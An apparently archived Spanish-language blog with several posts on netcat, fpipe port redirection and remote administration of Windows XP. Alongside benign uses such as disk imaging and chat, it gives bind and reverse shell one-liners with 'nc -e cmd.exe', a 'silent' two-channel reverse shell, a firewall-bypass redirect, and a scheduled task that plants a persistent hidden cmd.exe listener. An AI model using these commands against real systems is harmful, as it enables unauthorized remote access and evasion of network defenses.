Archive for the ‘nc’ Category

Instalacion de netcat en linux (centos/fedora/debian)

November 9, 2008

Via yum:

yum install nc

Via apt-get:

apt-get install netcat

Algunas cosas utiles de netcat:

1.- Copiar imagen de disco duro de host A a host B

-----------------------
HostA // 192.168.1.1
------------------------
sda
NETWORK
sdb
------------------------
HostB // 192.168.1.2
-------------------------

En el host B ejecutamos: # netcat -p 2222 -l |bzip2 -d | dd of=/dev/sdb

Y en el host B ejecutamos:

# bzip2 -c /dev/sda | netcat hostA 2222 o se puede usar la ip:
# bzip2 -c /dev/sda | netcat 192.168.1.1 2222

On hostA, enter:
# nc -l 2222 > /dev/sdb
On hostB, enter:
# nc hostA 2222< /dev/sda
OR
# nc 192.168.1.1 2222< /dev/sda

Using a second machine (hostB), connect to the listening nc process at 2222 (hostA), feeding it the file (/dev/sda)which is to be transferred. You can use bzip2 as follows.
On hostA, enter:
# nc -l 2222 | bzip2 -d > /dev/sdb
On hostB, enter:
# bzip2 -c /dev/sda | nc 192.168.1.1 2222


fpipe: redireccionamiento de puertos en windows

April 27, 2008

d:\Tools\fpipe>fpipe –l 9080 xxx.com –r 80

De este modo, le estaremos indicando a “FPipe”, que escuche en el puerto local (-l)
9080 y redireccione su actividad a barrapunto.com en el puerto remoto (-r) 80. Una vez
que demos “Enter”, la consola quedará a la espera de conexiones (Figura 6) lista para
anunciar cualquier actividad entre los puertos e IPs intervinientes en las posibles
conexiones.

Para demostrar esto, deberemos lanzar nuevamente nuestro browser apuntando a:
http://localhost:9080 y si todo ha salido como esperamos deberíamos aparecer en el sitio
de http://xxx.com y nuestra ventana de comando debería mostrar las
direcciones entrantes y salientes respecto de nuestra redirección.

Es que por medio de su utilización,
muchas veces nos será posible atravesar firewalls mal configurados, por medio de
trucos como este:

Saltando firewall con fpipe:

d:\Tools\fpipe>fpipe –l 139 –s 88 www.target.com –r 139

Esta redirección, hará que el servidor objetivo, reciba tráfico al puerto 139, debido a que
las reglas mal configuradas sobre el firewall dispuesto delante del mismo, dejaran pasar
tráfico proveniente del puerto 88 (IPSec / Kerberos, etc) el cual considerarán lícito.

http://www.foundstone.com/us/resources-free-tools.asp

Con netcat en ocasiones tambien es psoible nat, firewalls, etc, ejemplo de tomar la linea de comandos de otra maquna por medio de conexion inversa:

client
c:\> nc -l -p 80

natted host
c:\> nc -e cmd.exe ip. 80

En este mismo blog ya hemos tratado el tema de netcat.


Como obtener shell remota con netcat

October 3, 2007

El netcat, es un programa que funciona en cualquier plataforma (hay versiones para todos los sistemas operativos), sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo en tcp y udp.

Existe una version en win32 que corre en una ventana tipo MSDOS, para ayuda con el mismo teclea: > nc -h

· client
Podemos usar el nc para conectarnos a una maquina por cualquier puerto siempre que éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara en mi linea de comandos:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de información sobre el estado de la conección. Las opciones siempre van antes de la direccion ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos kedaría:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones entrantes.
La sintaxis básica es:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se kiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada la conección, el nc siga escuchando en el mismo puerto con las mismas opciones. De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos en cualquier orden.

Shell remota:

· shell directa
Mediante este comando en un windows posterior a winme
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le aparecería una shell equivalente al cmd.exe de la maquina en la que se ejecutó el comando. Lo mismo ocurriría en un windows anterior a winme reemplazando cmd.exe por command.com en el comando anterior.

· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma saltar algunos routers y firewalls. Ideal para maquinas dentro de una red.
Se ejecuta el siguiente comando en una maquina para ponerla a la escucha de conexiones por el puerto 2236:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquina que va a proporcionar la shell para que se conecte a la primera:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236

· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan dos conexiones inversas (una para enviar información y otra para recibirla) usando los puertos 25 y 80 que el firewall del win xp sp2 no filtra por tenerlos habilitados por default para el envío (25 smpt) y recibo (80 http) de información.
Para esto abrimos dos ventanas en la maquina que recibirá la shell en las que ponemos:
nc -vv -l -p 80
y
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina q proporcionará la shell ponemos:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de ellas (server) éste comando:
nc -l -p 1337
y la otra (client) éste otro:
nc [ip/hostname de la maq dnd c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la segunda se conectaría a su maquina por el puerto que la primera persona abrió por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del otro y viceversa.

Como administrar remotamente equipos de una red local con windows xp

September 30, 2007

XP comparte por defecto sus unidades a efectos de administración. Estas unidades estan ocultas a la red al llevar el sufijo $.

Para acceder desde DOS a estos recursos desde otro ordenador de la red se usa el comando Net use. Este comando es un poco remolón y a veces como que se empeña en no dejar conectarnos. La sintaxis completa es:

net use \\ip_remota\ password_pc_remoto/u:ip_remota\administrador_pc_remoto

En este punto tendremos ya mapeada la unidad del pc remoto y podremos trabajar con sus ficheros como si fuese un disco más de nuestro ordenador. Para usar este comando basta con que el pc remoto esté encendido, no hace falta que tenga ninguna sesión iniciada Cuando acabemos nuestra tarea debemos acordarnos de quitar el recurso que acabamos de compartir.

Eso se hace mediante el comando:

Net use /delete Net use * /delete (elimina todas las unidades compartidas)

Con psexec:

psexec \\ip_remota –u -p -s

ej: psexec \\xxx.xxx.xx.xx –u administrador –p miclave –s cmd

Manipular grupos y cuentas de usuarios Usaremos el comando NET para crear y borrar usuarios y asignarlos a los grupos que más nos interesen. Las que más pueden servirnos para nuestros propósitos son:

sc query Muestra información sobre los servicios y su estado en la máuina en la que se ejecuta.

sc config Permite configurar diversas propiedades del servicio (habiltar, deshabilitar, inicio manual o automatico.

Tasklist lista los procesos en ejecución, para entendernos es como si fuese el administrador de tareas en linea de comandos

Taskkill /F /PID permite forzar el cierre de un proceso identificado por su PID.

Ejecutar una tarea programada en remoto

Podemos usar en el pc remoto el comando AT para programarle tareas. Por ejemplo:
at \\ip_remota 12:00A /every:1 “” nc –d –L –p 8080 –e cmd.exe


Follow

Get every new post delivered to your Inbox.